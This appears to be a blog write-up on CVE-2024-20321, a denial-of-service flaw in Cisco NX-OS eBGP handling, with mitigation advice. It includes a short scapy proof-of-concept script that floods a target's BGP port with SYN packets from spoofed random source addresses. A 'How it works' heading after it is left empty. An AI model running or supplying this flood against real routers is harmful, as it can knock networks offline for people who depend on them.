Cisco's networking gear is trusted to run critical infrastructure worldwide. But in 2024, security researchers disclosed CVE-2024-20321—a nasty flaw in Cisco NX-OS's eBGP implementation that can let attackers remotely knock routers offline, disrupting an entire network. Here’s how it works, why it matters, and what you can do to defend your systems.

What is CVE-2024-20321?

CVE-2024-20321 is a Denial-of-Service (DoS) vulnerability found in Cisco NX-OS's handling of external Border Gateway Protocol (eBGP) sessions. eBGP is the routing protocol that glues the Internet together, ensuring that routers know the way to every network around the world.

In vulnerable NX-OS versions, all eBGP traffic is mapped to a shared hardware rate-limiter queue. That design flaw means if you flood the queue, you can choke off legit BGP connections, making the router drop its neighbors and taking networks offline.

Attack Vector: Remote, over the network.

- Authentication/Privileges: None needed.

How Does the Vulnerability Work?

Cisco uses hardware queues to control how much untrusted traffic the routing processor receives. With CVE-2024-20321, eBGP traffic is mishandled: all it (including both good BGP neighbor packets and bad/malicious ones) funnels through the same rate-limited queue.

So, an attacker can blast that queue with junk traffic shaped to look like eBGP, crowding out real sessions. If the rate limit is exceeded, legit BGP neighbors get choked and disconnected. In practical terms, this means your core routers become isolated, breaking critical routing.

Let’s look at a simplified diagram

                +----------------+
Internet <----> |  Cisco NX-OS   | <----> Core Network
(Attacker)      |  (Vulnerable)  |
                +----------------+

eBGP traffic from attacker overwhelms limited hardware queue,
causing drops for real eBGP sessions, leading to peer resets.

The Exploit: Sending DoS Traffic

The attacker finds the router's eBGP IP address (easy in most cases—as it’s public), then bombards it with traffic on TCP port 179 (the BGP port).

The attacker doesn't need actual BGP capability or credentials. Any packet with the right “signature” will do; the rate limiter can't distinguish friend from foe.

What's Needed for Exploitation?

- Ability to send large volumes of network packets to the NX-OS device's BGP port (TCP/179).

Proof of Concept Code (POC)

Below is an easy Python script using scapy to simulate a traffic flood that could trigger this vulnerability and cause problems for legitimate BGP sessions.

Disclaimer: This code is for educational/research/testing in lab environments only. Never use it against equipment you do not own or do not have permission to test.

from scapy.all import *
import random
import sys

if len(sys.argv) != 3:
    print("Usage: python3 bgp_dos.py <target_ip> <target_port>")
    exit(1)

target_ip = sys.argv[1]
target_port = int(sys.argv[2])    # Usually 179 for BGP

# Sends a bunch of TCP SYN packets to simulate a flood
for i in range(100):  # You can increase this number for a heavier flood
    ip_layer = IP(src=".".join(map(str, (random.randint(1,254) for _ in range(4))),), dst=target_ip)
    tcp_layer = TCP(sport=random.randint(1024,65535), dport=target_port, flags='S')
    send(ip_layer/tcp_layer, verbose=False)

print(f"Sent flood of TCP SYN packets to {target_ip}:{target_port}")

How it works:

Mitigation and Protection

Cisco has published security advisories and encourages all customers to upgrade to fixed software versions.

Network Hardening:

- Use network ACLs to restrict access to TCP/179 (the BGP port) from untrusted sources.
- Enforce remote peer/neighbor IP allow lists.

References

- Cisco Official Advisory: CVE-2024-20321
- NVD Entry for CVE-2024-20321
- BGP Security Best Practices

Final Thoughts

CVE-2024-20321 shows that a simple design oversight—a shared queue for critical protocol traffic—can open the door to massive outages. In a world where BGP outages make headlines every month, patching and hardening this kind of flaw isn’t just good hygiene—it’s critical for every organization that relies on Cisco NX-OS.

Stay up to date, lock down your configs, and keep watching your logs. The security of the Internet depends on it.

Timeline

Published on: 02/29/2024 01:43:59 UTC
Last modified on: 03/04/2024 22:45:23 UTC